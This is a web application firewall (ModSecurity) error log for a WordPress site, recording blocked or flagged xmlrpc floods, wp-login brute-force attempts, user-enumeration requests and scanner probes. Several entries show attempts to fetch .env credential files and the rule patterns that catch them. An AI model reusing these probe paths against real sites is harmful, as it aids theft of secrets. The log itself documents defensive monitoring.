[Thu May 07 01:24:18.436604 2026] [:error] [pid 9789:tid 9804] [client 34.41.51.25:52594] [client 34.41.51.25] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 5 at IP:ddos. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "10"] [id "400002"] [msg "DDoS threshold exceeded for 34.41.51.25, counter = 6"] [hostname "vetstars.com.au"] [uri "/xmlrpc.php"] [unique_id "aft5Qj_YStPJSCHPkUXQEQAAAE0"]
[Thu May 07 01:24:52.267358 2026] [:error] [pid 9789:tid 9792] [client 34.45.177.248:62973] [client 34.45.177.248] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 34.45.177.248, incrementing ddos counter"] [hostname "vetstars.com.au"] [uri "/xmlrpc.php"] [unique_id "aft5ZD_YStPJSCHPkUXQKgAAAEE"]
[Thu May 07 01:24:56.030533 2026] [:error] [pid 9789:tid 9812] [client 34.45.177.248:62973] [client 34.45.177.248] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/usr/local/apache/modsecurity-cwaf/rules/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||vetstars.com.au|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "vetstars.com.au"] [uri "/wp-json/wp/v2/users/"] [unique_id "aft5aD_YStPJSCHPkUXQMQAAAFU"]
[Thu May 07 01:24:56.256270 2026] [:error] [pid 9789:tid 9813] [client 34.45.177.248:62973] [client 34.45.177.248] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 34.45.177.248, incrementing ddos counter"] [hostname "vetstars.com.au"] [uri "/xmlrpc.php"] [unique_id "aft5aD_YStPJSCHPkUXQMwAAAFY"]
[Thu May 07 01:24:58.114657 2026] [:error] [pid 63810:tid 63823] [client 34.45.177.248:52337] [client 34.45.177.248] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 34.45.177.248, incrementing ddos counter"] [hostname "vetstars.com.au"] [uri "/xmlrpc.php"] [unique_id "aft5anpnbsN9Zf6i5IFQWgAAAYk"]
[Thu May 07 01:25:00.007009 2026] [:error] [pid 13443:tid 13448] [client 34.45.177.248:64002] [client 34.45.177.248] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 34.45.177.248, incrementing ddos counter"] [hostname "vetstars.com.au"] [uri "/xmlrpc.php"] [unique_id "aft5bACyfZallDmsQrex7gAAAUM"]
[Thu May 07 01:25:00.007181 2026] [:error] [pid 13443:tid 13448] [client 34.45.177.248:64002] [client 34.45.177.248] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 5 at IP:ddos. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "10"] [id "400002"] [msg "DDoS threshold exceeded for 34.45.177.248, counter = 6"] [hostname "vetstars.com.au"] [uri "/xmlrpc.php"] [unique_id "aft5bACyfZallDmsQrex7gAAAUM"]
[Thu May 07 01:37:18.300648 2026] [:error] [pid 482:tid 502] [client 170.106.180.246:51870] [client 170.106.180.246] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||vetstars.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "vetstars.com.au"] [uri "/"] [unique_id "aft8Tsxs8HOc_nWgOW6dKQAAAdI"]
[Thu May 07 01:39:37.314914 2026] [:error] [pid 482:tid 495] [client 138.197.151.112:58382] [client 138.197.151.112] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 138.197.151.112, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aft82cxs8HOc_nWgOW6dkQAAAcs"]
[Thu May 07 01:42:25.645459 2026] [:error] [pid 13414:tid 13428] [client 23.95.112.73:58560] [client 23.95.112.73] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "vetstars.com.au"] [uri "/.env.backup"] [unique_id "aft9gUuJQpWjVpJTu_k9HgAAAQw"]
[Thu May 07 01:42:25.855329 2026] [:error] [pid 592:tid 610] [client 23.95.112.73:58494] [client 23.95.112.73] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "vetstars.com.au"] [uri "/.env.production"] [unique_id "aft9gZiX28mb6xLi2PzH3gAAAo4"]
[Thu May 07 01:42:26.597766 2026] [:error] [pid 13414:tid 13423] [client 23.95.112.73:58614] [client 23.95.112.73] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "vetstars.com.au"] [uri "/api/.env"] [unique_id "aft9gkuJQpWjVpJTu_k9IQAAAQc"]
[Thu May 07 01:55:55.868522 2026] [:error] [pid 9653:tid 9702] [client 138.197.151.112:52034] [client 138.197.151.112] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 138.197.151.112, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "afuAq6hJ49Xc4dqq0B53ZQAAAAQ"]
[Thu May 07 02:12:16.096960 2026] [:error] [pid 9659:tid 9743] [client 138.197.151.112:56213] [client 138.197.151.112] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 138.197.151.112, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "afuEgPwJnWjd8JHpBtu60AAAAMk"]
[Thu May 07 02:28:38.233718 2026] [:error] [pid 9664:tid 9771] [client 138.197.151.112:63691] [client 138.197.151.112] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 138.197.151.112, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "afuIVgH4OZbrg1SjsBOGwQAAAIk"]
[Thu May 07 02:45:00.616085 2026] [:error] [pid 9664:tid 9781] [client 138.197.151.112:62243] [client 138.197.151.112] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 138.197.151.112, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "afuMLAH4OZbrg1SjsBONwwAAAJM"]
[Thu May 07 03:01:20.621199 2026] [:error] [pid 9789:tid 9792] [client 138.197.151.112:57623] [client 138.197.151.112] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 138.197.151.112, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "afuQAD_YStPJSCHPkUXiLwAAAEE"]
[Thu May 07 03:09:35.254499 2026] [:error] [pid 9653:tid 9711] [client 128.199.223.38:57650] [client 128.199.223.38] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 128.199.223.38, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "afuR76hJ49Xc4dqq0B6MbAAAAA0"]
[Thu May 07 03:17:39.824439 2026] [:error] [pid 482:tid 495] [client 138.197.151.112:60968] [client 138.197.151.112] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 138.197.151.112, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "afuT08xs8HOc_nWgOW62owAAAcs"]
[Thu May 07 03:33:01.051075 2026] [:error] [pid 592:tid 601] [client 31.76.241.132:59098] [client 31.76.241.132] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "vetstars.com.au"] [uri "/.env"] [unique_id "afuXbZiX28mb6xLi2PzVYwAAAoU"]
[Thu May 07 03:34:00.817071 2026] [:error] [pid 9664:tid 9772] [client 138.197.151.112:53183] [client 138.197.151.112] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 138.197.151.112, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "afuXqAH4OZbrg1SjsBOc4QAAAIo"]
[Thu May 07 03:50:27.528208 2026] [:error] [pid 26771:tid 26780] [client 138.197.151.112:53616] [client 138.197.151.112] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 138.197.151.112, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "afubgwfCN9n48foZdMsxNwAAAMc"]
[Thu May 07 04:06:50.490907 2026] [:error] [pid 29710:tid 29712] [client 138.197.151.112:51126] [client 138.197.151.112] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 138.197.151.112, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "afufWv0atTQld9Y2ht-sWQAAAMA"]
[Thu May 07 04:23:11.636081 2026] [:error] [pid 29606:tid 29649] [client 138.197.151.112:49721] [client 138.197.151.112] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 138.197.151.112, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "afujLxR5HjZ1PlSAiKtLowAAAEg"]
[Thu May 07 04:39:28.421483 2026] [:error] [pid 29710:tid 29732] [client 138.197.151.112:49821] [client 138.197.151.112] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 138.197.151.112, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "afunAP0atTQld9Y2ht_CYgAAANQ"]
[Thu May 07 04:55:51.415382 2026] [:error] [pid 4539:tid 4556] [client 138.197.151.112:50354] [client 138.197.151.112] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 138.197.151.112, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "afuq14PEZE1565sDGnwMiAAAAQ8"]
[Thu May 07 05:12:16.024778 2026] [:error] [pid 29710:tid 29735] [client 138.197.151.112:64403] [client 138.197.151.112] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 138.197.151.112, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "afuusP0atTQld9Y2ht_S6gAAANc"]
[Thu May 07 05:13:47.567406 2026] [:error] [pid 4539:tid 4559] [client 43.131.36.84:58158] [client 43.131.36.84] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.vetstars.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.vetstars.com.au"] [uri "/"] [unique_id "afuvC4PEZE1565sDGnwUowAAARI"]
[Thu May 07 05:13:48.963114 2026] [:error] [pid 29710:tid 29716] [client 211.21.61.225:32890] [client 211.21.61.225] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 211.21.61.225, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "afuvDP0atTQld9Y2ht_TcgAAAMQ"]
[Thu May 07 05:28:39.696408 2026] [:error] [pid 29710:tid 29712] [client 138.197.151.112:51301] [client 138.197.151.112] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 138.197.151.112, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "afuyh_0atTQld9Y2ht_ZLgAAAMA"]
[Thu May 07 05:44:57.650463 2026] [:error] [pid 4539:tid 4559] [client 138.197.151.112:63378] [client 138.197.151.112] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 138.197.151.112, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "afu2WYPEZE1565sDGnwpkAAAARI"]
[Thu May 07 06:01:18.737574 2026] [:error] [pid 4539:tid 4560] [client 138.197.151.112:56045] [client 138.197.151.112] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 138.197.151.112, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "afu6LoPEZE1565sDGnwx2QAAARM"]
[Thu May 07 06:17:42.378441 2026] [:error] [pid 29605:tid 29619] [client 138.197.151.112:55266] [client 138.197.151.112] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 138.197.151.112, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "afu-BonxrTjETioEY0TongAAAAU"]
[Thu May 07 06:34:06.140613 2026] [:error] [pid 29606:tid 29644] [client 138.197.151.112:51288] [client 138.197.151.112] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 138.197.151.112, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "afvB3hR5HjZ1PlSAiKtxWAAAAEM"]
[Thu May 07 06:50:26.118440 2026] [:error] [pid 4539:tid 4544] [client 138.197.151.112:50035] [client 138.197.151.112] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 138.197.151.112, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "afvFsoPEZE1565sDGnxRjQAAAQM"]
[Thu May 07 07:06:46.299915 2026] [:error] [pid 29607:tid 29679] [client 138.197.151.112:64853] [client 138.197.151.112] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 138.197.151.112, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "afvJhqbP7TJOAh7WSUOHFwAAAIs"]
[Thu May 07 08:02:36.661879 2026] [:error] [pid 4539:tid 4560] [client 45.251.75.100:48510] [client 45.251.75.100] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 45.251.75.100, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "afvWnIPEZE1565sDGnx7dgAAARM"]
[Thu May 07 09:30:18.270022 2026] [:error] [pid 56150:tid 56170] [client 43.131.36.84:42654] [client 43.131.36.84] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||vetstars.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "vetstars.com.au"] [uri "/"] [unique_id "afvrKtu4duXJJeTigXT-CwAAAFI"]
[Thu May 07 09:36:33.605602 2026] [:error] [pid 56066:tid 56136] [client 54.38.122.177:36750] [client 54.38.122.177] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 54.38.122.177, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "afvsoUYS8DGwDvklLv6LGgAAAM0"]
[Thu May 07 12:00:32.816320 2026] [:error] [pid 56066:tid 56132] [client 211.21.61.224:45528] [client 211.21.61.224] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 211.21.61.224, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "afwOYEYS8DGwDvklLv6t3AAAAMk"]
[Thu May 07 12:20:31.506986 2026] [:error] [pid 1143:tid 1158] [client 81.181.68.123:36256] [client 81.181.68.123] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 81.181.68.123, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "afwTD5b7qeI8X5VYRr54HQAAAQ0"]
[Thu May 07 13:01:54.114716 2026] [:error] [pid 56150:tid 56152] [client 128.199.26.217:50980] [client 128.199.26.217] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 128.199.26.217, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "afwcwtu4duXJJeTigXRGkwAAAEA"]
[Thu May 07 13:32:36.181510 2026] [:error] [pid 56064:tid 56092] [client 59.125.102.142:42524] [client 59.125.102.142] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 59.125.102.142, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "afwj9CsGkZZUEf_7QCMwBwAAABc"]
[Thu May 07 14:02:16.163627 2026] [:error] [pid 56064:tid 56069] [client 211.21.61.244:40270] [client 211.21.61.244] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 211.21.61.244, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "afwq6CsGkZZUEf_7QCMzegAAAAA"]
[Thu May 07 15:11:13.506763 2026] [:error] [pid 15631:tid 15710] [client 51.83.9.92:55240] [client 51.83.9.92] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/auto%20slot.aspx"] [unique_id "afw7EXvP1GkPUuuLfqUIqAAAANc"]
[Thu May 07 15:11:15.982112 2026] [:error] [pid 15631:tid 15693] [client 51.83.9.92:41812] [client 51.83.9.92] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/betflik%20casino.aspx"] [unique_id "afw7E3vP1GkPUuuLfqUIrgAAAMY"]
[Thu May 07 15:11:18.367497 2026] [:error] [pid 15631:tid 15698] [client 51.83.9.92:41820] [client 51.83.9.92] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/betflik%20co.aspx"] [unique_id "afw7FnvP1GkPUuuLfqUIswAAAMs"]
[Thu May 07 15:11:20.763058 2026] [:error] [pid 15629:tid 15643] [client 51.83.9.92:41830] [client 51.83.9.92] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/betflik%20dc.aspx"] [unique_id "afw7GPrIJCALdUrO43lVKwAAAAo"]
[Thu May 07 15:11:23.209753 2026] [:error] [pid 15631:tid 15705] [client 51.83.9.92:59968] [client 51.83.9.92] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/betflik%20original.aspx"] [unique_id "afw7G3vP1GkPUuuLfqUIvwAAANI"]
[Thu May 07 15:11:25.712859 2026] [:error] [pid 15715:tid 15732] [client 51.83.9.92:59972] [client 51.83.9.92] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/betflik%20slot.aspx"] [unique_id "afw7HSY4dZsLOttMkcdaJAAAAQw"]
[Thu May 07 15:11:28.068609 2026] [:error] [pid 15631:tid 15692] [client 51.83.9.92:59980] [client 51.83.9.92] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/betflik%20thailand.aspx"] [unique_id "afw7IHvP1GkPUuuLfqUIxwAAAMU"]
[Thu May 07 15:11:30.523291 2026] [:error] [pid 28098:tid 28113] [client 51.83.9.92:59986] [client 51.83.9.92] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/betflix%20auto.aspx"] [unique_id "afw7Isvhwfljlt8trSqCxgAAAE0"]
[Thu May 07 15:11:32.888677 2026] [:error] [pid 28098:tid 28102] [client 51.83.9.92:42236] [client 51.83.9.92] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/betflix%20casino.aspx"] [unique_id "afw7JMvhwfljlt8trSqCyAAAAEI"]
[Thu May 07 15:11:35.291010 2026] [:error] [pid 15715:tid 15734] [client 51.83.9.92:42252] [client 51.83.9.92] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/betflix%20co.aspx"] [unique_id "afw7JyY4dZsLOttMkcdaKwAAAQ4"]
[Thu May 07 15:11:37.699084 2026] [:error] [pid 28098:tid 28111] [client 51.83.9.92:42254] [client 51.83.9.92] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/betflix%20slot.aspx"] [unique_id "afw7Kcvhwfljlt8trSqCzwAAAEs"]
[Thu May 07 15:11:40.125618 2026] [:error] [pid 15630:tid 15672] [client 51.83.9.92:42260] [client 51.83.9.92] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/betflix%20wallet.aspx"] [unique_id "afw7LHTithRAi4821quNPwAAAIw"]
[Thu May 07 15:11:42.512323 2026] [:error] [pid 28098:tid 28109] [client 51.83.9.92:58532] [client 51.83.9.92] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/casino%20betflik.aspx"] [unique_id "afw7Lsvhwfljlt8trSqC2wAAAEk"]
